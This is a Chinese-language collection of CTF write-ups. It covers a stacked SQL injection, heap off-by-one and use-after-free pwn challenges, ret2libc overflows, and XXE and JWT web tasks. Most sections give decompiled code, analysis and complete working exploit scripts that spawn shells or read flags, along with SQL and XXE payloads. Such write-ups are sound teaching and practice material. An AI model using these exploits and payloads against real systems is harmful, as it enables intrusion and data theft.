强网杯随便注

[截屏2020-10-28 上午11.24.27]

这题显然是存在sql注入点的。主要考点是堆叠注入。然而堆叠注入本身的意思就只是能连续执行sql语句而已。

以下记录一些解题过程中用到的东西。

desc [表名]可以查看表结构 (数字开头的表名需要加反引号)

show columns from [表名] （常用show databases，show tables，第一次见这个）

rename tables [表名1] to [表名2] 修改表名

爆表

[截屏2020-11-09 下午5.21.37]

desc查看表结构

1919810931114514表结构

[截屏2020-11-09 下午5.25.06]

words表结构

[截屏2020-11-09 下午5.27.35]

由于没有select可以用，所以用个神奇的操作，把flag所在表的名字改成words，并在flag所在表中增加一个字段id。

payload：

1

1’;rename table words to n0p3;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

1

1‘;rename tables `words` to `n0p3`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);

然后 1’ or 1=1;#读flag

[截屏2020-10-28 上午11.17.14]

ctf wiki上看到的一道堆题,原题的环境是ubuntu16。本文是在ubuntu18上复现的。

ASIS CTF 2016 b00ks

除了canary以外保护全开

执行一下发现是个菜单类应用

具体执行内容到ida看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 savedregs; // [rsp+20h] [rbp+0h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);                  // 
                                                // BooksHeap+i：id
  Welcome();
  EnterAuthName();
  while ( (unsigned int)MainMenu() != 6 )
  {
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        CreateBook();                           // Off by one
        break;
      case 2u:
        Deletebook();                           // 没用从+6开始free，从+8开始free
        break;
      case 3u:
        EditBook();                             // description位置与DeleteBook()一致
        break;
      case 4u:
        OutPutBooks();
        break;
      case 5u:
        EnterAuthName();                        // Off by one 
        break;
      default:
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

多数函数已经经过重命名，并注释了一些信息（没什么用）

函数分析

CreateBook()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

signed __int64 CreateBook()
{
  int Size; // [rsp+0h] [rbp-20h]
  int NewBookId; // [rsp+4h] [rbp-1Ch]
  void *NewBookHeap; // [rsp+8h] [rbp-18h]
  void *BookNameHeap; // [rsp+10h] [rbp-10h]
  void *DescriptionHeap; // [rsp+18h] [rbp-8h]

  Size = 0;
  printf("\nEnter book name size: ", *(_QWORD *)&Size);
  __isoc99_scanf("%d", &Size);
  if ( Size >= 0 )
  {
    printf("Enter book name (Max 32 chars): ", &Size);
    BookNameHeap = malloc(Size);
    if ( BookNameHeap )
    {
      if ( (unsigned int)input_BUG(BookNameHeap, Size - 1) )
      {
        printf("fail to read name");
      }
      else
      {
        Size = 0;
        printf("\nEnter book description size: ", *(_QWORD *)&Size);
        __isoc99_scanf("%d", &Size);
        if ( Size >= 0 )
        {
          DescriptionHeap = malloc(Size);
          if ( DescriptionHeap )
          {
            printf("Enter book description: ", &Size);
            if ( (unsigned int)input_BUG(DescriptionHeap, Size - 1) )// 没有多循环
            {
              printf("Unable to read description");
            }
            else
            {
              NewBookId = AssignBookNumber();
              if ( NewBookId == -1 )
              {
                printf("Library is full");
              }
              else
              {                                 // 未满
                NewBookHeap = malloc(0x20uLL);
                if ( NewBookHeap )
                {
                  *((_DWORD *)NewBookHeap + 6) = Size;
                  *((_QWORD *)BooksZone + NewBookId) = NewBookHeap;
                  *((_QWORD *)NewBookHeap + 2) = DescriptionHeap;
                  *((_QWORD *)NewBookHeap + 1) = BookNameHeap;
                  *(_DWORD *)NewBookHeap = ++unk_202024;
                  return 0LL;
                }
                printf("Unable to allocate book struct");
              }
            }
          }
          else
          {
            printf("Fail to allocate memory", &Size);
          }
        }
        else
        {
          printf("Malformed size", &Size);
        }
      }
    }
    else
    {
      printf("unable to allocate enough space");
    }
  }
  else
  {
    printf("Malformed size", &Size);
  }
  if ( BookNameHeap )
    free(BookNameHeap);
  if ( DescriptionHeap )
    free(DescriptionHeap);
  if ( NewBookHeap )
    free(NewBookHeap);
  return 1LL;
}

执行函数是会先让用户输入书名的大小，然后再输入书名。书本描述也是先输入描述大小再输入描述。两次字符串输入都是通过一个开发者自定的输入函数实现的。

input_BUG()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

signed __int64 __fastcall input_BUG(_BYTE *a1, int _32)
{
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *_addr; // [rsp+18h] [rbp-8h]

  if ( _32 <= 0 )
    return 0LL;
  _addr = a1;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, _addr, 1uLL) != 1 )
      return 1LL;
    if ( *_addr == '\n' )
      break;
    ++_addr;
    if ( i == _32 )                             // 等于a2就跳出
      break;
  }
  *_addr = 0;
  return 0LL;
}

这个开发者自定义的输入函数被我标记了BUG，是因为它在line 16处确实存在一个漏洞，在line 9可以看到计数器i从0开始，当等于32时结束。但这个if判断在循环体下方执行，也就是说判断到i==32时其实又执行了一次循环体，实际上我们这个循环执行了33次。我们可以比开发者设想的多写入一个字节，也就是Off by one。（当然有可能开发者本就想让用户输入33个字节，稍后我们会知道我们确实超出了开发者预期）

AssignBookNumber()

在CreateBook()函数的line 39处有一个AssignBookNumber()

1
2
3
4
5
6
7
8
9
10
11

signed __int64 AssignBookNumber()
{
  signed int i; // [rsp+0h] [rbp-4h]

  for ( i = 0; i <= 19; ++i )                   // 实际执行20次，最多存20本书
  {
    if ( !*((_QWORD *)BooksZone + i) )          // 似乎可以访问到off_202018的数据
      return (unsigned int)i;
  }
  return 0xFFFFFFFFLL;
}

这个函数很简单作用是分配书本id。

DeleteBook()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

signed __int64 Deletebook()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)BooksZone + i) || **((_DWORD **)BooksZone + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)BooksZone + i) + 8LL));
      free(*(void **)(*((_QWORD *)BooksZone + i) + 16LL));
      free(*((void **)BooksZone + i));
      *((_QWORD *)BooksZone + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!", &v1);
  }
  else
  {
    printf("Wrong id", &v1);
  }
  return 1LL;
}

用户输入书本id，free掉对应书本的结构体。（书本的结构体分析稍后研究）

EditBook()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

signed __int64 EditBook()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  printf("Enter the book id you want to edit: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)BooksZone + i) || **((_DWORD **)BooksZone + i) != v1); ++i )
      ;
    if ( i == 20 )                              // id过大
    {
      printf("Can't find selected book!", &v1);
    }
    else
    {
      printf("Enter new book description: ", &v1);
      if ( !(unsigned int)input_BUG(
                            *(_BYTE **)(*((_QWORD *)BooksZone + i) + 16LL),
                            *(_DWORD *)(*((_QWORD *)BooksZone + i) + 24LL) - 1) )
        return 0LL;
      printf("Unable to read new description");
    }
  }
  else
  {
    printf("Wrong id", &v1);
  }
  return 1LL;
}

输入书本id，通过input_BUG输入新的描述。

OutPutBooks()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

int OutPutBooks()
{
  __int64 v0; // rax
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    v0 = *((_QWORD *)BooksZone + i);
    if ( v0 )
    {
      printf("ID: %d\n", **((unsigned int **)BooksZone + i));
      printf("Name: %s\n", *(_QWORD *)(*((_QWORD *)BooksZone + i) + 8LL));
      printf("Description: %s\n", *(_QWORD *)(*((_QWORD *)BooksZone + i) + 16LL));
      LODWORD(v0) = printf("Author: %s\n", AuthorName);
    }
  }
  return v0;
}

执行后会打印出所有的书。

EnterAuthName()

1
2
3
4
5
6
7
8

signed __int64 EnterAuthName()
{
  printf("Enter author name: ");
  if ( !(unsigned int)input_BUG(AuthorName, 32) )//AuthorName offset_0x202018
    return 0LL;
  printf("fail to read author_name", 32LL);
  return 1LL;
}

执行后通过input_BUG输入作者名。作者名被存入bss段，距离基地址偏移0x202018个字节。

对接

了解完所有的函数之后，对于菜单类程序我们最好写一些操作函数来对接程序方便攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

#coding=utf-8
from pwn import *
OptionNum=0
context.log_level='debug'
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
res=process('./'+Path)
def CreateBook(NameSize,name,DesSize,description):
    res.recvuntil('> ')
    res.sendline('1')
    res.recvuntil('name size:')
    res.sendline(str(NameSize))
    res.recvuntil('chars):')
    res.sendline(name)
    res.recvuntil('size:')
    res.sendline(str(DesSize))
    res.recvuntil('description:')
    res.sendline(description)
def DeleteBook(BookId):
    print("Deleting...")
    res.recvuntil('> ')
    res.sendline('2')
    res.recvuntil('delete: ')
    res.sendline(str(BookId))
def EditBook(BookId,description):
    res.sendline('3')
    res.recvuntil('edit: ')
    res.sendline(str(BookId))
    res.recvuntil('description: ')
    res.sendline(description)
def ChangeAuthName(name):
    res.recvuntil('> ')
    res.sendline('5')
    res.recv()
    res.sendline(name)
def ShowBooks():
    res.recvuntil('> ')
    res.sendline('4')
    return res.recvuntil('> ')

深入分析

作者名先输入个N0P3aaaa

作者名的输入调用了前面的讲过的EnterAuthName()函数，此时的作者名被存入AuthorName。

ctrl+c再vmmap看一下

基地址就是最上面的红色地址 0x555555754000。加上AuthorName的偏移就可以找到N0P3aaaa在内存中的位置。

第一行指向了数据的地址，也就是0x55555756040，这也是个地址只向第三行的右侧。

输入作者名函数是调用了input_BUG的，所以也存在可以多写入一个字符的问题。我们来测试一下

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

#coding=utf-8
from pwn import *
OptionNum=0
context.log_level='debug'
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
res=process('./'+Path)
def CreateBook(NameSize,name,DesSize,description):
    res.recvuntil('> ')
    res.sendline('1')
    res.recvuntil('name size:')
    res.sendline(str(NameSize))
    res.recvuntil('chars):')
    res.sendline(name)
    res.recvuntil('size:')
    res.sendline(str(DesSize))
    res.recvuntil('description:')
    res.sendline(description)
def DeleteBook(BookId):
    print("Deleting...")
    res.recvuntil('> ')
    res.sendline('2')
    res.recvuntil('delete: ')
    res.sendline(str(BookId))
def EditBook(BookId,description):
    res.sendline('3')
    res.recvuntil('edit: ')
    res.sendline(str(BookId))
    res.recvuntil('description: ')
    res.sendline(description)
def ChangeAuthName(name):
    res.recvuntil('> ')
    res.sendline('5')
    res.recv()
    res.sendline(name)
def ShowBooks():
    res.recvuntil('> ')
    res.sendline('4')
    return res.recvuntil('> ')
res.recvuntil("name: ")
res.sendline('N0P3aaaabbbbbbbbccccccccdddddddd')
CreateBook(128,"n0p3_book1",32,'n0p3_des')
CreateBook(0x21000,"n0p3_book2",0x21000,"n0p3_des")
book1_addr=ShowBooks()
book1_addr=u64(book1_addr[85:91].ljust(8,'\x00'))
print(hex(book1_addr))
fake_book1 = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
EditBook(1,fake_book1)
ChangeAuthName("N0P3aaaabbbbbbbbccccccccdddddddd")
Raw=ShowBooks()
print(Raw)
book2_name_addr=u64(Raw[12:18].ljust(8,'\x00'))
print("NameAddr: "+hex(book2_name_addr))
book2_desc_addr=u64(Raw[32:38].ljust(8,'\x00'))
print("DescAddr: "+hex(book2_desc_addr))
#context.terminal = ['tmux','splitw','-v']
#gdb.attach(res)
#print(hex(book2_desc_addr-0x00007ffff79e4000))#0x5b1010
libc_addr=book2_desc_addr-0x5b1010#取得libc基地址
free_hook=libc_addr+libc.symbols['__free_hook']
print(hex(libc.symbols['__free_hook']))
print("free_hook:"+hex(free_hook))
MagicShell=libc_addr+0x4f3c2
EditBook(1,p64(free_hook))
print("Free_hook done")
res.recvuntil('> ')
EditBook(2,p64(MagicShell))
DeleteBook(2)
print("Shell:")
res.interactive()

secret_file

这道题真的是折腾我了好久。

64位，保护全开

主函数是这样的。程序比较复杂，逆向基础不好的我受到了很大阻碍。直接连接程序的结果是，执行一次输入，然后返回密码错误。

阅读代码，在line 25有一个getline，这个函数的作用是输入，知道输入中断或接收到换行符。

听起来就是没有限制的输入。因此这里可能会造成溢出。（这里说没有限制是不严谨的。getline会允许输入至所给变量空间的上限。然而如果给的地址是NULL，则会自行malloc空间。此时的空间会根据输入的长度决定。本题的所给空间在line 24被赋值为空。）

line 29～30的主要作用是判断输入的字符串是否正确结尾，若没有正确结尾（换行符）则退出。

line 33把输入的字符串复制给了dest。

接着就进入了DD0函数。

line 13是在初始化v5，为接下来的hash计算做准备。

line 14对Input进行了hash的前0x100字节进行了hash运算。（Input就是dest，0x100等于256）并将结果储存在了v5。

line 15把v5的值给了_v16。（简单描述）

回到主函数，line 35～42进行了一段意义不明的循环。（路过大佬求告知）

在line 44进行了一次比对，比对了v15与v17是否相等。相等则会调用popen函数。

popen函数的v14变量是命令，第二个参数为读写模式。这个函数能起shell并执行v14的命令。所以我们要想办法把利用v14读取flag。

观察栈分布，dest是在v14，v15，v17之上的，全部都可以被我们覆盖。

比对的话呢，是把我们输入的payload的前0x100个字节给hash加密然后和v15储存的比对了。所以我们可以构造payload=padding+shellcode+hash(padding)把v15覆盖为v17的值来通过比对。

（这里是忽略了迷之循环的作用，把v17简单当作了hash加密后的结果，即v16）

最终exp。

1
2
3
4
5
6
7

from pwn import *
import hashlib  
res = remote('220.249.52.133',42875)
padding = 'a'*0x100
payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()
res.sendline(payload)
print(res.recv())

另附：网上有师傅给出了v17的正确求法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

#coding:utf-8
 
from pwn import *
import hashlib
 
#context.log_level = 'debug'
 
debug = 1
 
 
def exp(string, debug):
	if debug == 1:
		r = process('./secret_file')
		#gdb.attach(r)
		#pause
	else:
		r = remote('111.198.29.45', 37598)
 
 
	payload = 'a' * 0x100
 
	memory = ''
 
	sha256 = hashlib.sha256(payload).hexdigest()
 
	for i in range(0, len(sha256), 2):
		memory = memory + chr(int(sha256[i:i + 2], 16))
 
	memory = list(memory + '\x00' * 0x41)
 
	for i in range(0x20):
		tmp = '%02x'%ord(memory[i]) + '\x00'
		memory[0x20 + 2 * i] = tmp[0]
		memory[0x20 + 2 * i + 1] = tmp[1]
		memory[0x20 + 2 * i + 2] = tmp[2]
 
	v15 = ''.join([i for i in memory[0x20:-1]])
	
	'''
		string中不要用\x00填充
		payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, '\x00') + v15 + '\n'
		否则strcpy的时候会进行截断，v15无法正常输入
	'''
 
	'''
		v15后面不要跟\x00
		payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\x00\n'
		否则strrchr的时候，str会以\x00作为结尾，则\n被截断
	'''
 
	payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\n'
 
	r.send(payload)
	
	log.info('%s\n'%r.recv())
	r.close()
	
 
while True:
	print '[*] $ ',
	command = raw_input()[:-1]
	if command == 'exit':
		break
	exp(command, debug)	

原文链接

time_formatter

这是本系列文章第一道堆pwn。

64bit 除pie外保护全开

看主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __gid_t v3; // eax
  FILE *v4; // rdi
  __int64 v5; // rdx
  int v6; // eax

  v3 = getegid();
  setresgid(v3, v3, v3);
  setbuf(stdout, 0LL);
  puts("Welcome to Mary's Unix Time Formatter!");
  do
  {
    while ( 2 )
    {
      puts("1) Set a time format.");
      puts("2) Set a time.");
      puts("3) Set a time zone.");
      puts("4) Print your time.");
      puts("5) Exit.");
      __printf_chk(1LL, "> ");
      v4 = stdout;
      fflush(stdout);
      switch ( sub_400D26() )
      {
        case 1:
          v6 = sub_400E00();
          break;
        case 2:
          v6 = sub_400E63();
          break;
        case 3:
          v6 = sub_400E43();
          break;
        case 4:
          v6 = sub_400EA3((__int64)v4, (__int64)"> ", v5);
          break;
        case 5:
          v6 = sub_400F8F();
          break;
        default:
          continue;
      }
      break;
    }
  }
  while ( !v6 );
  return 0LL;
}

主函数看起来就是堆pwn该有的样子。

先看下case 1的sub_400E00函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

__int64 sub_400E00()
{
  char *v0; // rbx

  v0 = sub_400D74();
  if ( (unsigned int)sub_400CB5(v0) )
  {
    ptr = v0;
    puts("Format set.");
  }
  else
  {
    puts("Format contains invalid characters.");
    sub_400C7E(v0);
  }
  return 0LL;
}

再深入看一下sub_400D74

1
2
3
4
5
6
7
8
9
10
11
12
13
14

char *sub_400D74()
{
  __int64 v0; // rdx
  __int64 v1; // rcx
  char s[1024]; // [rsp+8h] [rbp-410h]
  unsigned __int64 v4; // [rsp+408h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "%s");
  fflush(stdout);
  fgets(s, 1024, stdin);
  s[strcspn(s, "\n")] = 0;
  return PutStr2NewAddr(s, (__int64)"\n", v0, v1);
}

这里有一个被我改过名字的函数PutStr2NewAddr，这个函数的作用和名字一样，把一个字符串放进新申请的地址里。

看下这个函数的细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

char *__fastcall sub_400C26(const char *a1, __int64 a2, __int64 a3, __int64 a4)
{
  char *NewAddr; // rax
  char *v5; // rbx
  __int64 v7; // [rsp-8h] [rbp-18h]

  v7 = a4;
  NewAddr = strdup(a1);
  if ( !NewAddr )
    err(1, "strdup", v7);
  v5 = NewAddr;
  if ( getenv("DEBUG") )
    __fprintf_chk(stderr, 1LL, "strdup(%p) = %p\n", a1, v5);
  return v5;
}

line 8有个strdup函数，这个函数会malloc一块地址，并把字符串放入。

sub_400E00函数还调用了一个sub_400cb5函数。这个函数的主要作用是检查用户输入

1
2
3
4
5
6
7
8
9

_BOOL8 __fastcall sub_400CB5(char *s)
{
  char accept; // [rsp+5h] [rbp-43h]
  unsigned __int64 v3; // [rsp+38h] [rbp-10h]

  strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
  v3 = __readfsqword(0x28u);
  return strspn(s, &accept) == strlen(s);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

__int64 sub_400E63()
{
  int v0; // eax
  const char *v1; // rdi

  __printf_chk(1LL, "Enter your unix time: ");
  fflush(stdout);
  v0 = sub_400D26();
  v1 = "Unix time must be positive";
  if ( v0 >= 0 )
  {
    dword_602120 = v0;
    v1 = "Time set.";
  }
  puts(v1);
  return 0LL;
}

case2对应的函数没有堆相关操作，是接受用户输入时间的函数。

再看case 3的sub_400E43

1
2
3
4
5
6

__int64 sub_400E43()
{
  value = sub_400D74();
  puts("Time zone set.");
  return 0LL;
}

同样是调用了sub_400D74函数。所以选项3也会进行malloc。

接着是重要的case 4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

__int64 __fastcall sub_400EA3(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r8
  char command; // [rsp+8h] [rbp-810h]
  unsigned __int64 v6; // [rsp+808h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  if ( ptr )
  {
    __snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);
    __printf_chk(1LL, "Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3);
    setenv("TZ", value, 1);
    system(&command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

这个函数把ptr指针指向的字符串进行格式化并放入system执行。我们很容易想到如果能控制ptr进行命令注入就可以get shell。

到目前还没有找到明显的漏洞，当然我们都知道pwn题常常会在退出时出幺蛾子。

关键的case 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

signed __int64 sub_400F8F()
{
  signed __int64 result; // rax
  char s; // [rsp+8h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  sub_400C7E(ptr);
  sub_400C7E(value);
  __printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(&s, 16, stdin);
  result = 0LL;
  if ( (s & 0xDF) == 89 )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  return result;
}

line 10到结尾是用户选择是否真的退出。关键点在line 8-9。

1
2
3
4
5
6
7
8

void __fastcall sub_400C7E(void *ptr)
{
  __int64 v1; // r8

  if ( getenv("DEBUG") )
    __fprintf_chk(stderr, 1LL, "free(%p)\n", ptr, v1);
  free(ptr);
}

所以line 8-9释放了ptr和value两个指针。也就是说，当我们执行case 5后选择n就可以触发UAF漏洞。而ptr的值是在case 1中分配的，value是在case 3中分配的。

ptr被释放，所指向的地址存入了fastbin。此时我们再执行case 3就会把刚放进fastbin的地址给value，此时ptr和value都指向同一个地址。case 1对输入有限制，case 3没有限制，我们就成功利用UAF使ptr包含了 shellcode。

exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# coding=utf-8
from pwn import *
context.log_level = 'debug'
# io = process('./time_formatter')
io =remote('220.249.52.133',38913)
#为ptr分配堆储存空间
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('Format: ')
io.sendline('aaa')
# 释放ptr中的堆空间
io.recvuntil('> ')
io.sendline('5')
io.recvuntil('Are you sure you want to exit (y/N)?')
io.sendline('N')
# 为value分配堆，此时分配到的就是刚放入fastbin的地址
#写入shellcode
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('Time zone: ')
io.sendline('\';/bin/sh;\'')
#利用命令注入拿shell
io.recvuntil('> ')
io.sendline('4')
print("shell")
io.interactive()

Buu上的题目很多，遇到些感觉需要记录一下的题目就写在这里。 如有错误还请路过的师傅在评论区指出。

pwn1_sctf_2016

这道题没什么难的，主要记录几个C++的标准库函数。

一大堆看起来乱七八糟的函数。这些函数的简单介绍：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

fgets
函数原型：char * fgets ( char * str, int num, FILE * stream );
函数功能：
从流中读取字符，并将它们作为C字符串存储到str中，直到已读取（num-1）个字符或到达换行符或到达文件末尾（以先发生的为准）。
换行符使fgets停止读取，但是该函数将其视为有效字符并包含在复制到str的字符串中。
复制到str的字符后会自动附加一个终止的空字符。
请注意，fgets与gets完全不同：fgets不仅接受流参数，而且还允许指定str的最大大小，并在字符串中包括任何结尾的换行符。

std:replace
函数原型：
template <class ForwardIterator, class T>
  void replace (ForwardIterator first, ForwardIterator last,
                const T& old_value, const T& new_value);
函数功能：
替换范围内的值
将new_value分配给[first，last)范围内所有等于old_value的元素。
该函数使用"operator ==" 将各个元素与old_value进行比较。
该功能模板的行为等效于：
template <class ForwardIterator, class T>
  void replace (ForwardIterator first, ForwardIterator last,
                const T& old_value, const T& new_value)
{
  while (first!=last) {
    if (*first == old_value) *first=new_value;
    ++first;
  }
}
参数再介绍：
first, last：将迭代器转发到元素序列中的初始位置和最终位置，这些元素支持比较并分配为T类型的值。
            使用的范围是[first，last），其中包含first和last之间的所有元素，包括由指向的元素 首先但不是最后指出的元素。
old_value：要替换的值。
new_value：新的值

可以暂时粗略地地这样记下： replace (first,last,old_value,new_value);

std::string::operator=(&input, &s);
作用： 就是 将s指针赋值到 inputs地址里了。 


strcpy:
函数原型：char * strcpy ( char * destination, const char * source );
函数功能：  
将source指向的C字符串复制到destination指向的数组中，包括终止的空字符（并在该位置停止）。
为避免溢出，目标指向的数组的大小应足够长，以包含与源相同的C字符串（包括终止空字符），并且在内存中不应与源重叠。

文本来源：紫色仰望合天智汇

但是经过简单测试我们就能发现所有的‘I’都会被替换成‘you’。s2原本不会溢出，经过替换再赋值给s2就可以造成溢出。

可以看到从s2到返回地址中间还有很多个变量。想要覆盖到返回地址一共需要覆盖64个字节，那么就可以20个I+4个字符来实现溢出，再加上get_flag函数地址即可。总共是28个字节小于32，是可行的。

exp：

1
2
3
4
5
6
7

from pwn import*
#context.log_level='debug'
res=remote('node3.buuoj.cn',28767)
get_flag=0x08048F0D
payload='I'*20+'N0P3'+p32(get_flag)
res.sendline(payload)
res.interactive()

ciscn_2019_c_1

这道题就是普通ret2libc，踩了个ubuntu18栈对齐的坑，写下exp以备参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

from pwn import*
from LibcSearcher import*
elf=ELF('./ciscn_2019_c_1')
#context.log_level='debug'
res=remote('node3.buuoj.cn',29379)
res.recv()
res.sendline('1')
res.recv()
ret=0x4006b9
pop_rdi=0x400c83
pop_rsi_r15=0x4008a3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start=elf.symbols['_start']
payload='A'*0x50+'a'*4+'N0P3'+p64(ret)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start)
res.sendline(payload)
puts_got=res.recv()
#print(puts_got)
puts_got=puts_got[6*16+7:6*16+8+5]
#print(puts_got)
puts_got=u64(puts_got.ljust(8,'\x00'))
print(puts_got)
if puts_got==0x0:
    print('Attack failed. Please try again.')
else:
    Searcher=LibcSearcher('puts',puts_got)
    offset=puts_got-Searcher.dump('puts')
    res.sendline('1')
    res.recv()
    binsh=Searcher.dump('str_bin_sh')+offset
    system=Searcher.dump('system')+offset
    payload='A'*0x50+'a'*4+'N0P3'+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
    res.sendline(payload)
    res.recv()
    res.interactive()

payload里需要执行一次ret来使栈对齐。第一个payload会有时会失效，大概每执行3次exp就有一次泄漏失败。原因未知，可能与服务器环境有关。

[OGeek2019]babyrop

*普通的ret2libc，中间有一个小的绕过姿势。

在主函数使用urandom生成了一个随机数，接着调用了HanShu1。

Line 11把a1格式化后放入了s，bufa是我们输入的字符串，在Line 15两者不相等则直接退出。比较的长度v1是可控的，strlen遇到\x00会截断，所以payload开头放个\x00就可以使比对长度为0，这样就能绕过对比。

这个函数在line 12还有个溢出点能覆盖v5，v5是下一个函数的参数。

a1就是上个函数的v5，127是0x7f，只要不等于0x7f我们覆盖的值就可以作为read的长度参数了。但是经过测试0xC8也是能在远程打通的，看来服务器运行的程序和这个有点出入。

exp:

1

#这是后来补的wp，exp手滑覆盖掉了==

未知的风险-1

题目有描述

看题目，只有简单的一行

hello guest，题目描述说只允许user进入，也就是我们要伪造身份。

抓包

这token格式一看就是jwt*（T0ki师傅说的）*

要伪造身份，我们就要构造新的jwt，然而，虽然使用的是HS256，但是翻遍网站也找不到key。于是想到，可能服务器使用的是低版本的jwt，需要我们把加密格式改为none。

用jwt_tool来修改jwt,并发包。

成功来到一个登陆页面，对应题目描述中的一把锁。阅读页面的js代码可知，数据会以xml实体post到一个doLogin.php页面，返回的code决定了登陆是否成功。于是我尝试修改了返回包，使code为1。

虽然登陆成功但是什么也没有。

再看题目描述，”他猜测密码格式flag{*}”,也就是说，用户密码才是flag。随即想到可能存在xxe漏洞，利用这个漏洞读取doLogin.php的源码，逆向分析验证代码获得flag。

payload：

​ <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE N0P3 [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"
> ]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

读取成功。分析一下源码

发现include了一个flag.php，直接利用xxe去读

读到了，解码

连源码都不用审，直接就能get flag。

Explore Ruby

题目两个入口，以为是给选手两个环境，防止注册太多用户，做到后面才知道不是。

首先是入口1，输入框的背景字是‘demo‘，下文就称这个入口的网站为demo。

demo环境可以注册，进去发现一个输入框，输入多数字符会直接显示，少数字符会返回“不对哦，在(再)试试吧”。例如可以执行命令的反引号。

网站下方标有网站所用的模板

想到可能是ssti，现在就需要知道这个模板引擎的解析符号是什么（例如flask 是”\{\{\}\}”)

